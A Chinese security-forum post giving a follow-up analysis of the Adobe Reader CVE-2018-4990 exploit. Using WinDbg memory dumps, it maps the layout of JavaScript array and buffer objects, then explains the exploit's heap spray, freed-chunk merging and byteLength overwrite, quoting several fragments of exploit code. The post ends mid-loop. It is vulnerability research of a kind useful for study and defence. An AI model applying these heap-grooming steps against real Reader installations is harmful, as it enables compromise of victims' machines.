首页
论坛
课程
招聘
[原创]对CVE-2018-4990漏洞的补充分析
2019-3-26 13:06 5929

[原创]对CVE-2018-4990漏洞的补充分析

2019-3-26 13:06
5929

对CVE-2018-4990漏洞的补充分析


 

目录

前言

去年这个漏洞出来时我曾在论坛发过一篇分析,当时行文仓促,许多细节没来得及深入探究。最近重新看了一下这个漏洞,发现之前的分析文章中存在一些错误,这篇文章中做了相应更正。此外,本文对 CVE-2018-4990 漏洞的利用细节进行了补充描述。本文中一并对 Adobe Reader DC 下的堆喷射做了一些研究。水平有限,不足之处请见谅。

 

要深入理解这个漏洞的利用,关键是要理解利用中涉及到的相关对象在内存中的分布,这些对象包括:

ArrayObject
Uint32ArrayObject
ArrayBufferObject
DataViewObject
Windows堆管理对象

在内存中观察js对象

我们需要构造一些在 Adobe Reader 中操作 js 对象的小 demo。方法是基于原始 CVE-2018-4990 样本和 PDFStreamDumper 工具来修改文档,基本方法在这篇文章已做介绍。

 

我们先来写一些小例子看一下上述 4 个 js 对象在内存中的情况。

ArrayObject

首先我们将原样本的 js 代码修改为如下形式:

var a1 = new Array(0x3000);

a1[0] = 0x12345678;
for(var i = 1; i < 0x3000; i++)
{
    a1[i] = new Array(0x100);
    a1[i][0] = 0x76543218;
    a1[i][1] = 0x11223344;
    a1[i][2] = 0x11111111;
    a1[i][3] = 0x22222222;
}

app.alert("Allocate Array");

打开新生成的 pdf 文档,在弹出对话框后将 windbg 附加到 Acrord32.exe 进程,我们在内存中观察上述对象:

// 通过全局搜索自定义的 tag 即可定位到感兴趣的数据区域,后续的例子这一步骤从略
0:010> s -d 0x0 l?0x7fffffff 0x12345678
...
32001000  12345678 ffffff81 23ab3218 ffffff87  xV4......2.#....
...

0:010> dd 32001000
                           ArrayObject
32001000  12345678 ffffff81 23ab3218 ffffff87
32001010  23ab3240 ffffff87 23ab3268 ffffff87
32001020  23ab3290 ffffff87 23ab32b8 ffffff87
32001030  23ab32e0 ffffff87 23ab3308 ffffff87
32001040  23ab3330 ffffff87 23ab3358 ffffff87
32001050  23ab3380 ffffff87 23ab33a8 ffffff87
32001060  23ab33d0 ffffff87 23ab33f8 ffffff87
32001070  23ab3420 ffffff87 23ab3448 ffffff87

// ArrayObject, 可以看到连续申请的 ArrayObject 是以 0x28 大小在内存中排列的
0:010> dd 23ab3218
23ab3218  23a86448 23a25980 00000000 2dcc0fc0
23ab3228  00000000 00000000 00000000 00000000
23ab3238  00000000 00000100 23a86448 23a25980
23ab3248  00000000 2ccbefc0 00000000 00000000
23ab3258  00000000 00000000 00000000 00000100
23ab3268  23a86448 23a25980 00000000 2cab8fc0
23ab3278  00000000 00000000 00000000 00000000
23ab3288  00000000 00000100 23a86448 23a25980

0:010> dd 23ab3218 l28/4
                                      buffer
23ab3218  23a86448 23a25980 00000000 2dcc0fc0
23ab3228  00000000 00000000 00000000 00000000
                  arrayLength
23ab3238  00000000 00000100

// ArrayObject.buffer
0:010> dd 2dcc0fc0
2dcc0fc0  76543218 ffffff81 11223344 ffffff81
2dcc0fd0  11111111 ffffff81 22222222 ffffff81
2dcc0fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
2dcc0ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
2dcc1000  ???????? ???????? ???????? ????????
2dcc1010  ???????? ???????? ???????? ????????
2dcc1020  ???????? ???????? ???????? ????????
2dcc1030  ???????? ???????? ???????? ????????

// 可以看到 2dcc0fc0 位于一块 0x50 大小的堆块内,说明前面还有 0x10 字节的数据
0:010> !heap -p -a 2dcc0fc0
    address 2dcc0fc0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2e511680:         2dcc0fb0               50 -         2dcc0000             2000
    6def8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77745ede ntdll!RtlDebugAllocateHeap+0x00000030
    7770a40a ntdll!RtlpAllocateHeap+0x000000c4
    776d5ae0 ntdll!RtlAllocateHeap+0x0000023a
    6af2ed63 MSVCR120!malloc+0x00000033
    692ac1f3 EScript!PlugInMain+0x00009654
    692ec624 EScript!mozilla::HashBytes+0x0003bfae
    692ec5c5 EScript!mozilla::HashBytes+0x0003bf4f
    692f198e EScript!mozilla::HashBytes+0x00041318
    692cd68a EScript!mozilla::HashBytes+0x0001d014
    692ae884 EScript!PlugInMain+0x0000bce5
    692b8b14 EScript!mozilla::HashBytes+0x0000849e
    692b86bf EScript!mozilla::HashBytes+0x00008049
    692d3953 EScript!mozilla::HashBytes+0x000232dd
    692d0606 EScript!mozilla::HashBytes+0x0001ff90
    692d0511 EScript!mozilla::HashBytes+0x0001fe9b
    692d0458 EScript!mozilla::HashBytes+0x0001fde2
    692b9e2e EScript!mozilla::HashBytes+0x000097b8
    692f85ec EScript!mozilla::HashBytes+0x00047f76
    692f8370 EScript!mozilla::HashBytes+0x00047cfa
    692f7de3 EScript!mozilla::HashBytes+0x0004776d
    692f6cd5 EScript!mozilla::HashBytes+0x0004665f
    6936629a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f5b5
    6511efe0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000e45a0
    6505ccf0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000222b0
    65059408 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0001e9c8
    64eaf2b3 AcroRd32_649c0000!AX_PDXlateToHostEx+0x00159dfa
    64eaf7b1 AcroRd32_649c0000!AX_PDXlateToHostEx+0x0015a2f8
    6505ca4d AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0002200d
    64b44d98 AcroRd32_649c0000!PDMediaQueriesGetCosObj+0x0001d108
    64b0c9b8 AcroRd32_649c0000!CTJPEGWriter::CTJPEGWriter+0x000bb06c
    64a83af5 AcroRd32_649c0000!CTJPEGWriter::CTJPEGWriter+0x000321a9

// 观察 ArrayObject.buffer 前面的 0x10 字节
0:010> dd 2dcc0fc0-10
                   useLength         arrayLength
2dcc0fb0  00000000 00000004 00000008 00000100
// 实际的 buffer
2dcc0fc0  76543218 ffffff81 11223344 ffffff81
2dcc0fd0  11111111 ffffff81 22222222 ffffff81
2dcc0fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
2dcc0ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
2dcc1000  ???????? ???????? ???????? ????????
2dcc1010  ???????? ???????? ???????? ????????
2dcc1020  ???????? ???????? ???????? ????????

// 现在我们已经知道通过 tag 定位到的数据区域为 a1.buffer,通过引用全局查找 a1 对应的 ArrayObject
0:010> s -d 0x0 l?0x7fffffff 0x32001000
23ab31fc  32001000 00000000 00000000 00000000  ...2............

// a1 对应 的 ArrayObject
0:010> dd 23ab31fc-c l28/4
                                      buffer
23ab31f0  23a86448 23a25980 00000000 32001000
23ab3200  00000000 00000000 00000000 00000000
                  arrayLength
23ab3210  00000000 00003000

通过上述调试,我们得到了一些关于 ArrayObject 在内存中的认知:

 

一个 ArrayObject 在内存中占用大小为 0x28 字节,两个重要的成员如下(不作特殊说明大小均为 4 字节,下同):

ArrayObject(0x28):
    +0x0C buffer
    +0x24 arrayLength

ArrayObject.buffer 指向一片 buffer 区域,buffer 前有 0x10 字节的头部:

                        以下每 1 格代表 4 个字节
            -------------------------------------------
buffer-0x10 |       | useLength |       | arrayLength |
            -------------------------------------------
buffer      |  [0]  |    type   |  [1]  |     type    |
                              .....

Uint32ArrayObject

用一样的方法我们可以得到 Uint32ArrayObject 在内存中的情况,现在我们将原样本的 js 代码修改如下:

var a1 = new Array(0x3000);

a1[0] = 0x12345678;
for(var i = 1; i < 0x3000; i++)
{
    a1[i] = new Uint32Array(0x100);
    a1[i][0] = 0x87654321;
    a1[i][1] = 0x11223344;
    a1[i][2] = 0x11111111;
    a1[i][3] = 0x22222222;
}

app.alert("Allocate Uint32Array");

我们来看一下调试器给出的信息:

// ArrayObject(0x28)
0:010> dd 238b31fc-c l28/4
                                     buffer
238b31f0  23886448 23825980 00000000 31ed5000
238b3200  00000000 00000000 00000000 00000000
238b3210  00000000 00003000

ArrayObject.buffer
0:010> dd 31ed5000
                            Uint32ArrayObject
31ed5000  12345678 ffffff81 23892660 ffffff87
31ed5010  238926b8 ffffff87 23892710 ffffff87
31ed5020  23892768 ffffff87 238927c0 ffffff87
31ed5030  23892818 ffffff87 23892870 ffffff87
31ed5040  238928c8 ffffff87 23892920 ffffff87
31ed5050  23892978 ffffff87 238929d0 ffffff87
31ed5060  23892a28 ffffff87 23892a80 ffffff87
31ed5070  23892ad8 ffffff87 23892b30 ffffff87

// Uint32ArrayObject
0:010> dd 23892660 l58/4
23892660  238b2700 23825be0 00000000 69a59f98
23892670  00000000 00000000 00000000 ffffff81
          byteLength
23892680  00000400 ffffff81 238372f0 ffffff87
23892690  00000000 00000000 00000002 00000000
           length
238926a0  00000100 ffffff81 00000005 ffffff81
           buffer
238926b0  2cb54c00 00000000

// buffer
0:010> dd 2cb54c00
2cb54c00  87654321 11223344 11111111 22222222
2cb54c10  00000000 00000000 00000000 00000000
2cb54c20  00000000 00000000 00000000 00000000
2cb54c30  00000000 00000000 00000000 00000000
2cb54c40  00000000 00000000 00000000 00000000
2cb54c50  00000000 00000000 00000000 00000000
2cb54c60  00000000 00000000 00000000 00000000
2cb54c70  00000000 00000000 00000000 00000000

// 同样,我们看到 buffer 之前有 0x10 字节的头部
0:010> !heap -p -a 2cb54c00
    address 2cb54c00 found in
    _DPH_HEAP_ROOT @ 161000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2ca224ac:         2cb54bf0              410 -         2cb54000             2000
    6e158e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77745ede ntdll!RtlDebugAllocateHeap+0x00000030
    7770a40a ntdll!RtlpAllocateHeap+0x000000c4
    776d5ae0 ntdll!RtlAllocateHeap+0x0000023a
    6ab611f9 MSVCR120!memcmp+0x0000034d
    6ab6cc17 MSVCR120!calloc+0x00000018
    69810466 EScript!PlugInMain+0x0000d8c7
    699183c1 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b16dc
    6991883a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b1b55
    6991bcf7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b5012
    6991bedb EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b51f6
    6991dc4a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b6f65
    6991b880 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b4b9b
    69918a28 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b1d43
    69838484 EScript!mozilla::HashBytes+0x00027e0e
    698317c1 EScript!mozilla::HashBytes+0x0002114b
    69830606 EScript!mozilla::HashBytes+0x0001ff90
    69830511 EScript!mozilla::HashBytes+0x0001fe9b
    69830458 EScript!mozilla::HashBytes+0x0001fde2
    69819e2e EScript!mozilla::HashBytes+0x000097b8
    698585ec EScript!mozilla::HashBytes+0x00047f76
    69858370 EScript!mozilla::HashBytes+0x00047cfa
    69857de3 EScript!mozilla::HashBytes+0x0004776d
    69856cd5 EScript!mozilla::HashBytes+0x0004665f
    698c629a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f5b5
    6511efe0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000e45a0
    6505ccf0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000222b0
    65059408 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0001e9c8
    64eaf2b3 AcroRd32_649c0000!AX_PDXlateToHostEx+0x00159dfa
    64eaf7b1 AcroRd32_649c0000!AX_PDXlateToHostEx+0x0015a2f8
    6505ca4d AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0002200d
    64b44d98 AcroRd32_649c0000!PDMediaQueriesGetCosObj+0x0001d108

// buffer-0x10
0:010> dd 2cb54c00-10
                 byteLength ptr_to_Uint32ArrayObject
2cb54bf0  00000000 00000400 23892660 00000000
             [0]      [1]     [2]       [3]
2cb54c00  87654321 11223344 11111111 22222222
2cb54c10  00000000 00000000 00000000 00000000
2cb54c20  00000000 00000000 00000000 00000000
2cb54c30  00000000 00000000 00000000 00000000
2cb54c40  00000000 00000000 00000000 00000000
2cb54c50  00000000 00000000 00000000 00000000
2cb54c60  00000000 00000000 00000000 00000000

通过上述信息,我们可以得到关于 Uint32ArrayObject 对象的一些认知:

 

一个 Uint32ArrayObject 在内存中占用大小为 0x58 字节,几个重要的成员如下:

Uint32ArrayObject(0x58):
    +0x20 byteLength
    +0x40 length
    +0x50 buffer

Uint32ArrayObject.buffer 指向一片 buffer 区域,buffer 前有 0x10 字节的头部:

                             以下每 1 格代表 4 个字节
            ------------------------------------------------------
buffer-0x10 |       |byteLength|ptr_to_Uint32ArrayObject| length |
            ------------------------------------------------------
buffer      |  [0]  |   [1]    |           [2]          |  [3]   |
                                   .....

ArrayBufferObject

接下来我们再将 js 代码替换为如下:

var a1 = new Array(0x3000);

a1[0] = 0x12345678;
for(var i = 1; i < 0x3000; i++)
{
    a1[i] = new ArrayBuffer(0x10000 - 24); // ffe8
}

app.alert("Allocate ArrayBuffer");

继续看调试器:

// ArrayObject(0x28)
0:005> dd 238b31fc-c l28/4
                                      buffer
238b31f0  23886448 23825980 00000000 530b5000
238b3200  00000000 00000000 00000000 00000000
238b3210  00000000 00003000

// ArrayObject.buffer
0:005> dd 530b5000
                            ArrayBufferObject
530b5000  12345678 ffffff81 238372f0 ffffff87
530b5010  23837388 ffffff87 23837420 ffffff87
530b5020  238374b8 ffffff87 23837550 ffffff87
530b5030  238375e8 ffffff87 23837680 ffffff87
530b5040  23837718 ffffff87 238377b0 ffffff87
530b5050  23837848 ffffff87 238378e0 ffffff87
530b5060  23837978 ffffff87 23837a10 ffffff87
530b5070  23837aa8 ffffff87 23837b40 ffffff87

0:005> ? 23837388-238372f0
Evaluate expression: 152 = 00000098

0:005> ? 23837420-23837388
Evaluate expression: 152 = 00000098

// ArrayBufferObject(0x98)
0:005> dd 238372f0 l98/4
                                      buffer
238372f0  238b26b8 23825bc0 00000000 2cd31018
23837300  00000000 00000000 00000000 00000000
23837310  00000000 00000000 00000000 00000000
23837320  00000000 00000000 00000000 00000000
23837330  00000000 00000000 00000000 00000000
23837340  00000000 00000000 00000000 00000000
23837350  00000000 00000000 00000000 00000000
23837360  00000000 00000000 00000000 00000000
23837370  00000000 00000000 00000000 00000000
23837380  00000000 00000000
0:005> dd (下一个 ArrayBufferObject)
                                      buffer
23837388  238b26b8 23825bc0 00000000 2d001018
23837398  00000000 00000000 00000000 00000000
238373a8  00000000 00000000 00000000 00000000
238373b8  00000000 00000000 00000000 00000000
238373c8  00000000 00000000 00000000 00000000
238373d8  00000000 00000000 00000000 00000000
238373e8  00000000 00000000 00000000 00000000
238373f8  00000000 00000000 00000000 00000000

// buffer-10
0:005> dd 2d001018-10
                  byteLength
2d001008  00000000 0000ffe8 00000000 00000000
------------------ffe8 bytes-----------------
2d001018  00000000 00000000 00000000 00000000
2d001028  00000000 00000000 00000000 00000000
2d001038  00000000 00000000 00000000 00000000
2d001048  00000000 00000000 00000000 00000000
2d001058  00000000 00000000 00000000 00000000
2d001068  00000000 00000000 00000000 00000000
2d001078  00000000 00000000 00000000 00000000

0:005> !heap -p -a 2d001018
    address 2d001018 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2cf2298c:         2d001008             fff8 -         2d000000            12000
    6ddb8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77745ede ntdll!RtlDebugAllocateHeap+0x00000030
    7770a40a ntdll!RtlpAllocateHeap+0x000000c4
    776d5ae0 ntdll!RtlAllocateHeap+0x0000023a
    6abb11f9 MSVCR120!memcmp+0x0000034d
    6abbcc17 MSVCR120!calloc+0x00000018
    69500466 EScript!PlugInMain+0x0000d8c7
    696083c1 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b16dc
    6960883a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b1b55
    6960bcf7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b5012
    69608b2c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000b1e47
    69528484 EScript!mozilla::HashBytes+0x00027e0e
    695217c1 EScript!mozilla::HashBytes+0x0002114b
    69520606 EScript!mozilla::HashBytes+0x0001ff90
    69520511 EScript!mozilla::HashBytes+0x0001fe9b
    69520458 EScript!mozilla::HashBytes+0x0001fde2
    69509e2e EScript!mozilla::HashBytes+0x000097b8
    695485ec EScript!mozilla::HashBytes+0x00047f76
    69548370 EScript!mozilla::HashBytes+0x00047cfa
    69547de3 EScript!mozilla::HashBytes+0x0004776d
    69546cd5 EScript!mozilla::HashBytes+0x0004665f
    695b629a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f5b5
    6511efe0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000e45a0
    6505ccf0 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x000222b0
    65059408 AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0001e9c8
    64eaf2b3 AcroRd32_649c0000!AX_PDXlateToHostEx+0x00159dfa
    64eaf7b1 AcroRd32_649c0000!AX_PDXlateToHostEx+0x0015a2f8
    6505ca4d AcroRd32_649c0000!AIDE::PixelPartInfo::operator=+0x0002200d
    64b44d98 AcroRd32_649c0000!PDMediaQueriesGetCosObj+0x0001d108
    64b0c9b8 AcroRd32_649c0000!CTJPEGWriter::CTJPEGWriter+0x000bb06c
    64a83af5 AcroRd32_649c0000!CTJPEGWriter::CTJPEGWriter+0x000321a9
    64a82fb0 AcroRd32_649c0000!CTJPEGWriter::CTJPEGWriter+0x00031664

通过上述日志我们得到关于 ArrayBufferObject 的一些认知:

 

ArrayBufferObject 在内存中的大小为 0x98,其中比较重要的成员如下:

ArrayBufferObject(0x98):
    +0x0C buffer

ArrayBufferObject.buffer 指向一片 buffer 区域,buffer 前有 0x10 字节的头部:

                    第 1 行每 1 格代表 4 字节
            ---------------------------------------
buffer-0x10 |       | byteLength |       |        |
            ---------------------------------------
buffer      |         (size = byteLength)         |
                           .....

DataViewObject

最后我们将 js 代码换成如下:

var a1 = new Array(0x3000);
var ab = new ArrayBuffer(0x888);

a1[0] = 0x12345678;
for(var i = 1; i < 0x3000; i++)
{
    a1[i] = new DataView(ab);
}

app.alert("Allocate DataView");

在调试器中看一下 DataView 的内存:

// ArrayObject(0x28)
0:010> dd 238b31fc-c l28/4
                                      buffer
238b31f0  23886448 23825980 00000000 2cdcb000
238b3200  00000000 00000000 00000000 00000000
238b3210  00000000 00003000

0:010> dd 2cdcb000
                            ArrayBufferObject
2cdcb000  12345678 ffffff81 23892660 ffffff87
2cdcb010  238926b8 ffffff87 23892710 ffffff87
2cdcb020  23892768 ffffff87 238927c0 ffffff87
2cdcb030  23892818 ffffff87 23892870 ffffff87
2cdcb040  238928c8 ffffff87 23892920 ffffff87
2cdcb050  23892978 ffffff87 238929d0 ffffff87
2cdcb060  23892a28 ffffff87 23892a80 ffffff87
2cdcb070  23892ad8 ffffff87 23892b30 ffffff87

0:010> ? 238926b8-23892660
Evaluate expression: 88 = 00000058

DataViewObject(0x58)
0:010> dd 23892660 l58/4
23892660  238b2700 23825be0 00000000 697e9f98
23892670  00000000 00000000 00000000 ffffff81
          byteLength
23892680  00000888 ffffff81 238372f0 ffffff87
23892690  238926b8 00000000 00000002 00000000
238926a0  00000000 00000000 00000000 00000000
           buffer
238926b0  2d8ee778 00000000

// DataViewObject.buffer
0:010> dd 2d8ee778
2d8ee778  00000000 00000000 00000000 00000000
2d8ee788  00000000 00000000 00000000 00000000
2d8ee798  00000000 00000000 00000000 00000000
2d8ee7a8  00000000 00000000 00000000 00000000
2d8ee7b8  00000000 00000000 00000000 00000000
2d8ee7c8  00000000 00000000 00000000 00000000
2d8ee7d8  00000000 00000000 00000000 00000000
2d8ee7e8  00000000 00000000 00000000 00000000

// buffer-10
0:010> dd 2d8ee778-10
                  byteLength ptr_to_DataViewObject
2d8ee768  00000000 00000888 23892660 00000000
2d8ee778  00000000 00000000 00000000 00000000
2d8ee788  00000000 00000000 00000000 00000000
2d8ee798  00000000 00000000 00000000 00000000
2d8ee7a8  00000000 00000000 00000000 00000000
2d8ee7b8  00000000 00000000 00000000 00000000
2d8ee7c8  00000000 00000000 00000000 00000000
2d8ee7d8  00000000 00000000 00000000 00000000

通过上述日志,我们得到关于 DataViewObject 对象的如下信息:

 

DataViewObject 在内存中的大小为 0x58 字节,几个比较重要的成员如下:

DataViewObject(0x58):
    +0x20 byteLength
    +0x50 buffer

DataViewObject.buffer 指向一片 buffer 区域,buffer 前有 0x10 字节的头部:

                        第 1 行每 1 格代表 4 个字节
            ----------------------------------------------------
buffer-0x10 |       | byteLength | ptr_to_DataViewObject  |    |
            ----------------------------------------------------
buffer      |             (size = byteLength)                  |
                                .....

Windows下的HEAP_ENTRY

对这个漏洞来说,其实只需要知道 Windows 的每一个堆块前会有一个 8 字节的 HEAP_ENTRY 结果用于管理。当两个相邻的堆块合并的时候,比如两个大小为 0xfff8 字节的相邻堆块合并时,合并后的实际大小为 0xfff8 + 0xfff8 + 0x08(第二个堆块的 HEAP_ENTRY 被回收) = 0x1fff8。

重新阅读利用代码

这里我假定读者已经阅读过我之前的一篇分析文章。那篇文章中关于 js 对象的内存说明存在理解上的偏差,本文的前半部分我已经通过调试器对相关对象的内存进行清晰的描述。

 

下面我们来进一步回答几个问题。

问题1:如何理解252,249和250?

为什么下面的代码中要写成 252 而不是 255 或其他的值?

var a1 = new Array(l1);
for(var i1 = 1; i1 < l1; i1++)
{
    a1[i1] = new Uint32Array(252);
    a1[i1][249] = spraybase;
    a1[i1][250] = spraybase + 0x10000;
}

执行下面这句时,Unit32ArrayObject 会申请一块大小为 0n252 * 0n04 = 0x3F0 大小的 buffer 区域,再加上 buffer 区域的头部 0x10,一共申请了 0x400 大小的内存。利用代码一共申请了 0x3000 组这样的 buffer。

a1[i1] = new Uint32Array(252);

上面的代码显然是想保证越界访问释放时释放的是精确布控的 spraybase 和 spraybase+0x10000 两处地址的内存,如何保证这一点呢?利用代码首先释放 a1 的奇数部分成员,从而造成 0x3000 组 buffer 中的一半被释放,造成大量的 0x400 内存空洞。

for(var i1 = 1; i1 < l1 ; i1 = i1 + 2)
{
    delete a1[i1];
    a1[i1] = null;
}

紧接着解析 jpeg 图片,图片实际大小恰好为 0x3f4 字节,解析时会占用上述一个空闲的 0x400 堆块,随后触发漏洞,解析逻辑会将图片末尾的每个 4 字节内存当作地址去释放,一共释放到 图片内存基地址 + 0x3fc(max_count = 0xff) 为止。因为图片大小只有 0x3f4,所以利用代码需要控制 0x3f4 开始的4个字节和 0x3f8 开始的 4 个字节,也就是 0x400 区域内倒数第 3 个 DWORD 和 倒数第2个 DWORD,我们来看一下示意图:

 

这是原先 Uint32ArrayObject.buffer

[249] = spraybase;        // 倒数第 3 个 DWORD
[250] = spraybase+0x10000 // 倒数第 2 个 DWORD

// 以下区域的总大小为 0x400 字节
---------------------------------
|            0x10 head          |
---------------------------------
|            0 ~ 248            |
---------------------------------
| [248] | [249] | [250] | [251] |
---------------------------------

这是漏洞触发时 jpeg 图片的内存,图片数据只占用 0x3f4 字节,漏洞导致 0x3f4 开始的 4 字节和 0x3f8 开始的4字节对应的两个地址被释放,恰好是 原来对应的 [249] 和 [250] 两个成员,所以利用代码选择 Uint32Array(252) 并设置 [249] 和 [250] 两个值为被释放的内存。

0x3f4 ~ 0x3f7 // 倒数第 3 个 DWORD
0x3f8 ~ 0x3fb // 倒数第 2 个 DWORD

// 以下区域的总大小为 0x400 字节,[3f0] 代表从 0x3f0 开始的 4 字节,后面同理
---------------------------------
|             jpeg              |
|             data              |
---------------------------------
| [3f0] | [3f4] | [3f8] | [3fc] |
---------------------------------

// 原图片实际用到的内存 0x3f4 字节
---------------------------------
|             jpeg              |
|             data              |
---------------------------------
| [3f0] |
---------

问题2:如何理解0x10000-24,0x20000-24和0x10000-12?

为什么堆喷射时需要用 ArrayBuffer(0x10000-24) ?

var spraylen  = 0x10000-24;
...
for(var i1 = 1; i1 < spraynum; i1++)
{
    sprayarr[i1] = new ArrayBuffer(spraylen);
}

回答:堆喷射时用 ArrayBuffer(0x10000-24) 去进行喷射,通过前面的对象调试我们已经知道,这句代码每执行一次会申请 0xffe8 字节的 buffer,加上 0x10 的头部,其实际分配的内存大小为 0xfff8,再加上 0x08 的 HEAP_ENTRY 数据,其实际占用的空间大小为 0x10000 字节。

                -----------------
                | HEAP_ENTRY(8) |
---------------------------------
|       buffer head (0x10)      |
---------------------------------
|        buffer (0xffe8)        |
---------------------------------

为什么重新占位的时候需要用 ArrayBuffer(0x20000-24) ?

for(var i1 = 1; i1 < 0x40; i1++)
{
    sprayarr2[i1] = new ArrayBuffer(0x20000 - 24);
}

回答:触发漏洞后,0x0d0e0048 和 0x0d0f0048 处两个相邻的 0x10000 大小内存块被释放并合并,此过程中回收的内存示意如下:

// 回收前
                -----------------
 0x0d0e0040 ->  | HEAP_ENTRY(8) |
---------------------------------
|       buffer head (0x10)      |
---------------------------------
|        buffer (0xffe8)        |
---------------------------------

                -----------------
 0x0d0f0040 ->  | HEAP_ENTRY(8) |
---------------------------------
|       buffer head (0x10)      |
---------------------------------
|        buffer (0xffe8)        |
---------------------------------

// 回收后,空闲内存大小 = (0x10 + 0xffe8) * 2 + 0x08 = 0x1fff8
                -----------------
 0x0d0e0040 ->  | HEAP_ENTRY(8) | <- 这个 HEAP_ENTRY 的 8 字节被更新后继续使用
---------------------------------
|                               |
|                               |
|               -----------------
| 0x0d0f0040 -> | HEAP_ENTRY(8) | <- 堆块合并后,这个 HEAP_ENTRY 的 8 字节被回收了
---------------------------------
|                               |
|                               |
---------------------------------

所以回收后的空闲内存为 0x1fff8,而 ArrayBuffer(0x20000-24) 会申请一段大小为 0x1ffe8 的 buffer 区域和一个 0x10 的头部,加起来恰好 0x1fff8。

 

为什么改写 ArrayBufferObject 的长度时改写的区域是 0x10000-12 ?

for(var i1 = 1; i1 < spraynum; i1++)
{
    if( sprayarr[i1].byteLength == 0x20000 - 24)
    {
        var biga = new DataView(sprayarr[i1]);
        biga.setUint32(0x10000 - 12, 0x66666666);
        for(var i11 = i1; i11 < spraynum; i11++)
        {
            if(sprayarr[i11].byteLength == 0x66666666)
            {
                i1 = i11;
                biga = new DataView(sprayarr[i1]);
                break;
            }
        }

回答:显然,利用代码想改写的字段为某个 ArrayBuffer.buffer 对应 head 中的 byteLength 成员。那么 0x10000-12 肯定对应着这个成员,我们来看一下:

  0x10000 - 12 = 0xfff4
0xffe8 + 8 + 4 = 0xfff4

第一个 buffer 大小为 0xffe8,再加上 8 字节的 HEAP_ENTRY,来到原先第二个 buffer 的 head,再加上 4,跳过 head 的第1个成员,而 head 的第 2 个成员恰好就是 byteLength,从而将其改写为 0x66666666。

                -----------------
 0x0d0e0040 ->  | HEAP_ENTRY(8) |
---------------------------------
|       buffer head (0x10)      |
---------------------------------
|        buffer (0xffe8)        |
---------------------------------
 0x0d0f0040 ->  | HEAP_ENTRY(8) |
---------------------------------
|       buffer head (0x10)      |
---------------------------------
|        buffer (0xffe8)        |
---------------------------------

                         ---------------------------------------
buffer head = 0x0d0f0048 |       | 0x66666666 |       |        |
                         ---------------------------------------
     buffer = 0x0d0f0058 |      (origin_size = byteLength)     |
                                         .....

// 这里再回顾一下 ArrayBufferObject.buffer 的结构
// ArrayBufferObject.buffer 指向一片 buffer 区域,buffer 前有 0x10 字节的头部:
                    第 1 行每 1 格代表 4 字节
            ---------------------------------------
buffer head |       | byteLength |       |        |
            ---------------------------------------
buffer      |         (size = byteLength)         |
                           .....

对后续代码的进一步说明

var arr1 = new Array(0x10000);
for(var i2 = 0x10; i2 < 0x10000; i2++)
    arr1[i2] = new Uint32Array(1);

for(var i2 = 1; i2 < 0x10; i2++)
{
    // 继续申请若干 buffer 大小为 0x10000-24 的 Uint32Array 对象,使用超长 buffer 后紧邻的 15 个 buffer 去初始化 Uint32Array.buffer
    arr1[i2] = new Uint32Array(sprayarr[i1 + i2]);
    arr1[i2][0] = i2; // 将相应 buffer 的首 4 字节初始化为对应序号
}

// 起始搜索地址为 0x0d0f0058 + 0x30000 = 0x0d120058,此时对应序号为 3 的 buffer 首字节,从这个地址开始往后搜索,正常来说序号为 4 的 buffer 就满足条件
for(var i2 = 0x30000; i2 < 0x10000 * 0x10; i2 = i2 + 4)
{
-----------------------------------------------------------------------
Uint32ArrayObject.buffer
                             以下每 1 格代表 4 个字节
            ------------------------------------------------------
buffer-0x10 |       |byteLength|ptr_to_Uint32ArrayObject| length |
            ------------------------------------------------------
buffer      |  [0]  |   [1]    |           [2]          |  [3]   |
-----------------------------------------------------------------------
    // 查找刚刚申请的其中一个满足 byteLength == spraylen 且 ptr_to_Uint32ArrayObject > spraypos(0x0d0f0058) 的 Uint32ArrayObject
    if( biga.getUint32(i2, true) == spraylen && biga.getUint32(i2 + 4, true) > spraypos )
    {
        mydv = biga;

        // 按照上述代码逻辑,itmp 正常应该为 4 ,实际调试时确实如此
        // 0:011> dd 0d130050-8
        // 0d130048  00000000 0000ffe8 1a299138 00000000
        // 0d130058  00000004 00000000 00000000 00000000
        // ...
        var itmp = mydv.getUint32(i2 + 12, true);

